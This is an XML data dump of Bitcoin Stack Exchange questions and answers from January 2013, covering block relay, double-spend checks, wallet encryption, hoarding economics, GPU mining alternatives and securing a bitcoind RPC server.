  <row Id="7255" PostTypeId="1" AcceptedAnswerId="7256" CreationDate="2013-01-24T11:52:56.143" Score="9" ViewCount="302" Body="&lt;p&gt;When a bitcoin node has the blockchain in sync, most transactions in incoming &lt;code&gt;block&lt;/code&gt; messages may have been already received as standalone &lt;code&gt;tx&lt;/code&gt; messages before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a &lt;code&gt;block&lt;/code&gt; message with only transaction hashes, the receiving node could try to reassemble the full block with its unconfirmed transactions and just request the missing transactions to complete the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this way to save bandwidth looks too obvious, I'm guessing there must a reason to always include the transactions in &lt;code&gt;block&lt;/code&gt; messages, even after downloading the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="789" LastEditorUserId="5406" LastEditDate="2016-09-23T07:43:12.420" LastActivityDate="2016-09-23T07:43:12.420" Title="Block messages with transactions hashes instead of full transactions" Tags="|network|synchronization|relay|compact-blocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7256" PostTypeId="2" ParentId="7255" CreationDate="2013-01-24T12:07:56.163" Score="9" Body="&lt;p&gt;There are probably several reasons, but it's mostly historic. There is no inherent problem with just sending transaction id's. There is a disadvantage too, though, namely increased latency, which is not necessarily a problem when doing an initial sync, but it is not wanted when a fresh new block is propagating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, this idea is part of &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0037&quot; rel=&quot;nofollow&quot;&gt;BIP 37&lt;/a&gt;, which specifies a protocol extension for requesting filtered blocks. To avoid the increased latency, matching transactions that are not known to the server to be already known to the receiver, are sent immediately after the filtered block itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0152.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP152&lt;/a&gt; compact blocks also use this idea, though they use shortened 48-bit transaction ids instead to save space.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-09-23T01:49:03.567" LastActivityDate="2016-09-23T01:49:03.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7257" PostTypeId="2" ParentId="5168" CreationDate="2013-01-24T12:54:41.220" Score="1" Body="&lt;p&gt;Random numbers are used for all sorts of things besides games.  They can be used in integration (finding areas and volumes), gambling simulations, determining lottery results, testing how something behaves under a variety of conditions. Then there is cryptography when you don't want anyone to guess what they were.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, other people need higher quality than you do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;http://mindprod.com/jgloss/truerandom.html&quot; rel=&quot;nofollow&quot;&gt;http://mindprod.com/jgloss/truerandom.html&lt;/a&gt;&#xA;http://mindprod.com/jgloss/pseudorandom.html&lt;/p&gt;&#xA;" OwnerUserId="2717" LastActivityDate="2013-01-24T12:54:41.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7258" PostTypeId="1" CreationDate="2013-01-24T13:37:28.663" Score="10" ViewCount="3737" Body="&lt;p&gt;Nube bitcoin question...  I created an electrum wallet, and can find it under appdata on my windows machine.  When creating it I set up a pass phrase and password.  I sent a small transaction into one of the addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read in &lt;a href=&quot;https://en.bitcoin.it/wiki/Electrum/Documentation&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Electrum/Documentation&lt;/a&gt; that this procedure should encrypt the wallet.dat file.  Looking at the wallet.dat in a text editor before restarting electum, it does not appear encrypted in it's entirety, and to me it is not obvious what in there is encrypted.  Perhaps only the private keys are encrypted?  Also when I start up electrum, there is no prompt for a password to decrypt anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it explained anywhere how I can see evidence that encryption is in place?  Perhaps I should take that small amount of bitcoin now in my wallet and figure out how to send it somewhere else, and it will all become clear? &lt;/p&gt;&#xA;" OwnerUserId="2718" LastEditorUserId="2751" LastEditDate="2013-04-15T00:06:02.523" LastActivityDate="2013-07-27T00:35:45.737" Title="How does the Electrum wallet encryption work?" Tags="|security|encryption|electrum|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7259" PostTypeId="1" AcceptedAnswerId="7267" CreationDate="2013-01-24T18:17:01.773" Score="4" ViewCount="879" Body="&lt;p&gt;When the Bitcoin client looks at the input of a transaction, it know the hash of the previous transaction from which the funds are coming, however then, how does it know that this output has not been spent already? Does it need to scan the whole blocklist for another transaction spending that same output? Isn't that very inefficient?&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2017-05-12T04:01:42.617" Title="How does the Bitcoin client check for double spend?" Tags="|blockchain|protocol|doublespend|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7260" PostTypeId="1" CreationDate="2013-01-24T20:55:28.577" Score="1" ViewCount="233" Body="&lt;p&gt;Let's assume a bank dealing in bitcoins is not any central of government bank that could control the money supply. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, let's say there was a bank where the people would deposit money at some interest rate, and also the bank would give loans to the people at some interest rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intention of the bank would be to keep the bitcoins in the circulation (by taking and giving benefits to the people with some interest rate) instead of hoarding, as we know hoarding may hurt the Bitcoin economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, suppose I deposit some BTC in HSBC bank (or some kind of reliable online bank), and HSBC will give the interest every month.&lt;/p&gt;&#xA;" OwnerUserId="2719" LastEditorUserId="516" LastEditDate="2013-01-25T19:04:23.887" LastActivityDate="2013-01-25T19:04:23.887" Title="Can a bitcoin bank solve the problem of intensive value fluctuation caused by hoarding?" Tags="|economic-theory|banks|exchange-rate|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7262" PostTypeId="2" ParentId="5168" CreationDate="2013-01-24T21:50:50.570" Score="0" Body="&lt;p&gt;Why do you need to use bitaddresss.org you could simply use a tool that generate key from your offline computer? The tool I think would fit is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;pyWallet&lt;/a&gt;, you just need to start ./pywallet.py --web (you need python installed) and access:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost:8989 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if anyone would be able to tell us a better graphical offline wallet manager it would be nice.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-24T21:50:50.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7263" PostTypeId="2" ParentId="3928" CreationDate="2013-01-24T21:54:11.820" Score="1" Body="&lt;p&gt;Any place with a &quot;Money Gram&quot; red telephone is what you need. Simple as picking up the phone and following directions on the sheet you printed. You must use your real name and ID however.&lt;/p&gt;&#xA;" OwnerUserId="2722" LastActivityDate="2013-01-24T21:54:11.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7264" PostTypeId="2" ParentId="7236" CreationDate="2013-01-24T22:36:05.913" Score="26" Body="&lt;p&gt;&lt;strong&gt;TLDR; forget about it.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ASICs are optimized for bitcoin mining. Not just Sha256(Sha256(x)) hashing, but very specifically bitcoin mining. You can't even use them for the Sha256(Sha256(x)) hashing in the rest of the bitcoin system, like hashing transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ASICs are made for hashing 80 bytes, where you give them the midstate from hashing the first chunk (64 bytes), and 12 bytes from the second chunk. They then try all variations of the last 4 bytes to try and find a hash that starts with 4 zero-bytes. Only values that result in the 4 zero-bytes are reported at all. That's basically what mining is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ASIC could aid in password cracking if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the hashes are generated with sha256(sha256(x))&lt;/li&gt;&#xA;&lt;li&gt;salt + password = 80 bytes&lt;/li&gt;&#xA;&lt;li&gt;the hash starts with 4 zero-bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="141" LastEditorUserId="5406" LastEditDate="2016-02-17T21:24:28.960" LastActivityDate="2016-02-17T21:24:28.960" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7267" PostTypeId="2" ParentId="7259" CreationDate="2013-01-25T00:05:22.117" Score="3" Body="&lt;p&gt;Bitcoin-Qt marks outputs as spent in the database once they are spent. To check whether an input's prev-out is spent, Bitcoin just needs to look up the transaction and check whether the output is marked spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other ways of doing it are to have a set of all unspent outputs and check whether the prev-out is in this set (future versions of Bitcoin will do something like this), or to index inputs by their prev-outs.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2013-01-25T00:11:47.167" LastActivityDate="2013-01-25T00:11:47.167" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7268" PostTypeId="1" CreationDate="2013-01-25T04:08:13.280" Score="7" ViewCount="3790" Body="&lt;p&gt;With the return from GPU mining likely to be affected by ASICs, where can miners turn their machines? Should I become a pro gamer? Join a rendering farm for cash (do they exist?) and let Disney use my rig to make toystory 4? Donate it to SETI@HOME or FOLDING@HOME? Donate it to an Anonymous botnet? Join a spamming farm used to bombard Bitcoin dev's with requests to switch double-SHA256 for double-MD5 in the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, what serious alternatives are their for profit or just putting to good use mining rigs?&lt;/p&gt;&#xA;" OwnerUserId="2678" LastEditorUserId="5406" LastEditDate="2016-03-15T09:21:48.650" LastActivityDate="2016-11-23T06:57:37.230" Title="Now that my GPU mining rig will be made obsolete, where to turn?" Tags="|asic|mining-hardware|gpu|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7269" PostTypeId="1" CreationDate="2013-01-25T05:57:03.180" Score="1" ViewCount="58" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7161/is-there-a-way-to-not-pay-the-transaction-fees-when-using-the-standard-bitcoin-c&quot;&gt;Is there a way to not pay the transaction fees when using the standard Bitcoin client?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;How do I override the transaction fee in bitcoin-qt?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-01-25T05:57:03.180" Title="How to send transaction in Bitcoin-Qt without transaction fee" Tags="|transactions|bitcoin-core|transaction-fees|" AnswerCount="0" CommentCount="2" ClosedDate="2013-01-25T20:35:36.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="7270" PostTypeId="2" ParentId="7268" CreationDate="2013-01-25T06:04:21.203" Score="6" Body="&lt;p&gt;Vanity mining for example over at my &lt;a href=&quot;https://vanitypool.appspot.com/&quot;&gt;Vanity Pool&lt;/a&gt;. Thanks to split-key vanity addresses anyone can request a vanity address without compromising their security, set their own bounty, and anyone with a mining GPU can try solving the work and claiming the bounty.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-25T06:04:21.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7271" PostTypeId="2" ParentId="7268" CreationDate="2013-01-25T08:03:39.640" Score="6" Body="&lt;p&gt;Folding@home &lt;a href=&quot;http://folding.stanford.edu/English/FAQ-highperformance&quot;&gt;can&lt;/a&gt; run calculations on your GPU, Seti@home at least support &lt;a href=&quot;http://setiathome.berkeley.edu/cuda.php&quot;&gt;nvidia&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also &lt;a href=&quot;http://www.gpugrid.net/&quot;&gt;gpugrid.net&lt;/a&gt;, which seems to be specialized on using GPUs for medical research.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2013-01-25T08:03:39.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7273" PostTypeId="2" ParentId="7260" CreationDate="2013-01-25T09:27:14.437" Score="3" Body="&lt;p&gt;Saying people are hoarding bitcoins is out of focus: they are simply &quot;not spending them&quot; because there aren't enough ways to spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allowing loans wouldn't improve the situation, since there still wouldn't be many ways to spend those loaned bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, bitcoins already are a currency subject to deflation, and they are also (more or less) constantly gaining value against traditional currencies, so just holding them increases their value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum it up, not a terribly good idea, and definitely not ground-breaking.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-01-25T09:27:14.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7274" PostTypeId="2" ParentId="5892" CreationDate="2013-01-25T10:49:24.037" Score="1" Body="&lt;p&gt;Bitcoinary has traders willing to buy BTC for INR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitcoinary.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinary.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-25T10:49:24.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7275" PostTypeId="2" ParentId="7258" CreationDate="2013-01-25T14:02:06.867" Score="8" Body="&lt;p&gt;Looks like only the private keys are encrypted. Your addresses are stored unencrypted, so the software can show your balance without requiring a password.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2013-01-25T14:02:06.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7276" PostTypeId="1" AcceptedAnswerId="7281" CreationDate="2013-01-25T16:25:20.233" Score="7" ViewCount="1179" Body="&lt;p&gt;I've sent a large amount of coins to &lt;a href=&quot;http://blockchain.info/address/1K7SzBTPGyyEtWsudwHpjg31LjrPf17qr4&quot;&gt;1K7SzBTPGyyEtWsudwHpjg31LjrPf17qr4&lt;/a&gt; but my bitcoin-qt client (V. 4.7.4) doesn't show any balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Under the &quot;Receive coins&quot; tab it shows the same address&#xA;2) The client is synced and up to date&#xA;3) Under the &quot;Overview&quot; tab it shows 0.00BTC for both &quot;Balance&quot; and &quot;Unconfirmed&quot;&#xA;4) Under the &quot;Transactions&quot; tab it shows no transactions&#xA;4) &lt;a href=&quot;http://blockchain.info&quot;&gt;http://blockchain.info&lt;/a&gt; shows 278 Confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I am getting real worried now.&lt;/p&gt;&#xA;" OwnerUserId="2728" LastActivityDate="2013-01-26T14:34:49.410" Title="Transaction confirmed by network but never showed up in bitcoin-qt" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7278" PostTypeId="2" ParentId="7268" CreationDate="2013-01-25T18:47:15.560" Score="6" Body="&lt;p&gt;Unfortunately, none of those other uses are worth the power your GPUs consume. I'd say sell it and use the money to find a new hobby, like skiing or flying model helicopters.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-01-25T18:47:15.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7279" PostTypeId="2" ParentId="7260" CreationDate="2013-01-25T18:50:48.893" Score="3" Body="&lt;p&gt;Unfortunately, it's not simple. The problem is that such a bank would be terribly vulnerable to fluctuating exchange rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say the value of a Bitcoin doubled over three months. Suddenly, a large number of people who have loans will not be able to afford enough Bitcoins to pay them back. A large number of their loans would go bad all at once. Banks can't function if their loans are correlated in this way -- that's part of why a collapse in the housing market led to bank failures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, to make the risk tolerable, you'd need enough people willing to take short positions against the value of Bitcoins going up. It's not clear where those people would come from.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-01-25T18:50:48.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7280" PostTypeId="2" ParentId="136" CreationDate="2013-01-25T22:00:28.360" Score="1" Body="&lt;p&gt;try www.btcdb.net or www.bitcoindashboard.com for detailed informations...&lt;/p&gt;&#xA;" OwnerUserId="2730" LastEditorUserId="-1" LastEditDate="2013-03-28T20:08:05.597" LastActivityDate="2013-03-28T20:08:05.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7281" PostTypeId="2" ParentId="7276" CreationDate="2013-01-25T22:21:27.270" Score="11" Body="&lt;p&gt;Launch the client from the command line with -rescan and it will recompute the balances for all addresses in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt; Bitcoin-Qt -rescan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-01-25T22:21:27.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7282" PostTypeId="1" AcceptedAnswerId="7291" CreationDate="2013-01-25T23:54:50.107" Score="7" ViewCount="1990" Body="&lt;p&gt;I'm making first, rough concepts of some ideas for bitcoin-enabled services I have in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that I wonder is, is there a best-practise approach on running bitcoind on another server that acts as backend for a particular other server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of something like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a vServer &lt;strong&gt;A&lt;/strong&gt; and a plain and simple PHP-Webspace at another host &lt;strong&gt;B&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A runs my bitcoind-deamon and only allows RPC-calls from Bs IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B makes its RPC-calls to A in a server-proccess which was not triggered by a client/website-visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How safe would you ensure such a scenario? Is it possible that nodes, connected to my vServer A, identify the servers purpose from the transactions and try to attack him?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they do, they would have to use a MiM-attack, because A only accepts Bs IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else can I do to make the communication more secure? HTTP-Auth, SSL?&lt;/p&gt;&#xA;" OwnerUserId="2732" LastActivityDate="2017-07-25T00:09:15.687" Title="Is it safe to run bitcoind on another server" Tags="|security|bitcoind|json-rpc|services|server|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7283" PostTypeId="2" ParentId="136" CreationDate="2013-01-26T04:04:37.220" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinity.org/markets?theme=light&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinity.org/markets?theme=light&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a great site too, but i believe it only goes to 30 days&#xA;this is a live graph though&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2013-01-26T04:04:37.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7284" PostTypeId="2" ParentId="7268" CreationDate="2013-01-26T04:10:56.250" Score="4" Body="&lt;p&gt;you could mine litecoins; the advantage of having a GPU over a CPU is not as pronouced as with bitcoin but it could still be profitable. you may have to run those numbers though. &lt;a href=&quot;http://ltc-charts.com&quot;&gt;ltc-charts.com&lt;/a&gt; for exchange rates.&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2013-01-26T04:10:56.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7285" PostTypeId="1" CreationDate="2013-01-26T04:43:05.937" Score="3" ViewCount="324" Body="&lt;p&gt;Are there any countries which currently block or plan to block Bitcoin? If anyone has enough reputation to edit this, maybe add &quot;censorship&quot; or maybe &quot;freedom&quot; as a tag because i can't.&lt;/p&gt;&#xA;" OwnerUserId="1976" LastEditorUserId="845" LastEditDate="2013-01-26T20:57:18.290" LastActivityDate="2013-01-26T20:57:18.290" Title="Are there any countries which currently block or plan to block Bitcoin?" Tags="|legal|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7286" PostTypeId="1" CreationDate="2013-01-26T05:25:19.283" Score="3" ViewCount="2505" Body="&lt;p&gt;If all humans used bitcoins now (Jan 2013) for most of their transactions, then a dollar would be worth about a billionth of a bitcoin (1/10 Satoshi).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If bitcoins take ten years to catch on that fully, and population rises only a little while worldwide productivity doubles, then you could buy 5 candy bars for a Satoshi (1/10^8 BTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A house today, starter home might be worth 10 000 bitcoins or so. Paying a 30 year loan payment in Bitcoins would require a payment of a billion dollars a month at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't see how you could have viable loans in bitcoins until the system has settled down at least 30 years from now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you have 1 bitcoin today, it could become worth 100 million dollars purchasing power in 10 to 20 years. One inexpensive coin worth an hour's labor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the system has an enormous potential reward for hoarding--far beyond working for a living, or any remotely normal successful investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is hoarding to be prevented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I think this system is even more unsound than fiat money, albeit in a very different direction. But it IS likely to lead to drastically improved money in the long run.&lt;/p&gt;&#xA;" OwnerUserId="2733" LastEditorUserId="516" LastEditDate="2013-01-26T06:53:59.533" LastActivityDate="2013-12-28T12:13:40.270" Title="How is hoarding to be prevented?" Tags="|economic-theory|exchange-rate|money-supply|investing|deflation|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7287" PostTypeId="2" ParentId="7286" CreationDate="2013-01-26T06:36:41.247" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So I don't see how you could have viable loans in bitcoins until the system has settled down at least 30 years from now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Err.. For a home loan, that would be paid down after 25 years or so; I think you're underestimating. Let's look at the most popular non-governmental currency, gold. According to &lt;a href=&quot;http://www.nma.org/pdf/gold/his_gold_prices.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, the price of gold (in US dollars) &lt;em&gt;quintupled&lt;/em&gt; between 2001 and 2011. Keep in mind that gold has been used as a currency for &lt;em&gt;thousands of years&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And if you have 1 bitcoin today, it could become worth 100 million dollars purchasing power in 10 to 20 years. One inexpensive coin worth an hour's labor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It could also be worthless. Perhaps the various governments of the world will see Bitcoin as a threat to their ability to tax. The Bitcoin community can come up with a solution to any technical countermeasure, but that doesn't stop a crackdown against businesses that accept it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not realistic to assume that &lt;em&gt;everybody&lt;/em&gt; in the world will start using Bitcoin. It requires a computer/internet connection to even validate a transfer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How is hoarding to be prevented?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;People hoard their money because they believe it will be more valuable in the future. To stop that, you print money.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-01-26T06:36:41.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7288" PostTypeId="2" ParentId="7285" CreationDate="2013-01-26T06:41:01.840" Score="2" Body="&lt;p&gt;Currently there is no known incident of bitcoin blocking.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-01-26T06:41:01.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7289" PostTypeId="2" ParentId="7286" CreationDate="2013-01-26T06:50:28.083" Score="4" Body="&lt;p&gt;&lt;strong&gt;Key points in bold.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoarding doesn't need to be prevented. At least, not yet. See this answer for a solid argument: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/414/516&quot;&gt;How does hoarding hurt Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoin attracts hoarding by design. To change that would turn it into something else.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Bitcoin matures, I expect that it will remain a problem that speculative trading brings  instability to the market, similar to the gold market. If you put your retirement savings into gold, you'll likely do quite nicely, but there's also a significant chance you'll lose most of it in a price crash. It's not a reliable store of value. Even if you have several years you can wait for the value to come back up, you may still lose out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though bitcoins are more efficient to trade than gold and cheaper to store, it's subject to the same volatility when traders manipulate it. The more popularity Bitcoin has, the bigger the traders will be that take an interest in it, like they do in gold. This could mean that when Bitcoin is mature we still see the same level of volatility that we see today with Bitcoin (and gold).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, this says that &lt;strong&gt;Bitcoin is great for efficient online transactions, but in the long run (once the market has reached its saturation point) won't a completely reliable store of value. For that, a diversified portfolio of productive investments is better.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that becomes common knowledge, then &lt;strong&gt;people will eventually accept the volatility as a necessary risk in the use of Bitcoin. After all, on average it will still almost certainly cost less than credit card transactions and traditional international money transfers.&lt;/strong&gt; Secondly, risk-reduction services (ie insurance) tend to fill gaps in the market like that for those who don't want to take the risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, Bitcoin is doing a great job, but it doesn't mean something better won't come along.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-03-24T21:46:46.003" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7290" PostTypeId="2" ParentId="7285" CreationDate="2013-01-26T06:57:33.883" Score="5" Body="&lt;p&gt;It seems that Charles Schumer (D-NY) and Joe Manchin (D-WV) of the U.S. senate &lt;a href=&quot;http://www.reuters.com/article/2011/06/08/us-financial-bitcoins-idUSTRE7573T320110608&quot;&gt;sought a law criminalizing it&lt;/a&gt; back in 2011. Guess the media moved on and the law stalled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also countries like Venezuela, which criminalize exchange of a 'foreign currency', under the Foreign Exchange Crime Act. Essentially, this is so they can pretend that bolivars are worth more than they really are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, is bitcoin a 'foreign currency'?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“Foreign Currency:  Any currency, whether in coins, bank notes, bank checks and in any form, other than the bolivar, the latter being understood to be the legal tender in the Bolivarian Republic of Venezuela, as well as securities denominated in foreign currency or that can be settled in foreign currency.”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Technically, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bpmaw.com/eng/c_cambios2010-eng.asp&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-01-26T06:57:33.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7291" PostTypeId="2" ParentId="7282" CreationDate="2013-01-26T07:27:22.287" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible that nodes, connected to my vServer A, identify the servers purpose from the transactions and try to attack him?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, if they can see enough of the network, they can figure out whether you are originating a transaction or just passing it on. It's easier to figure out you're running RPC through a port scan, though.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways to prevent a port scan from finding this, like using &lt;a href=&quot;http://www.cyberciti.biz/faq/iptables-block-port/&quot; rel=&quot;nofollow noreferrer&quot;&gt;iptables&lt;/a&gt; (Ctrl-F 'except'). Be careful, because just using &lt;code&gt;DROP&lt;/code&gt; will still tell attackers that there's &lt;a href=&quot;http://diaryproducts.net/about/operating_systems/unix/nmap_port_scanner_iptables_firewall&quot; rel=&quot;nofollow noreferrer&quot;&gt;something special about that port.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-07-25T00:09:15.687" LastActivityDate="2017-07-25T00:09:15.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
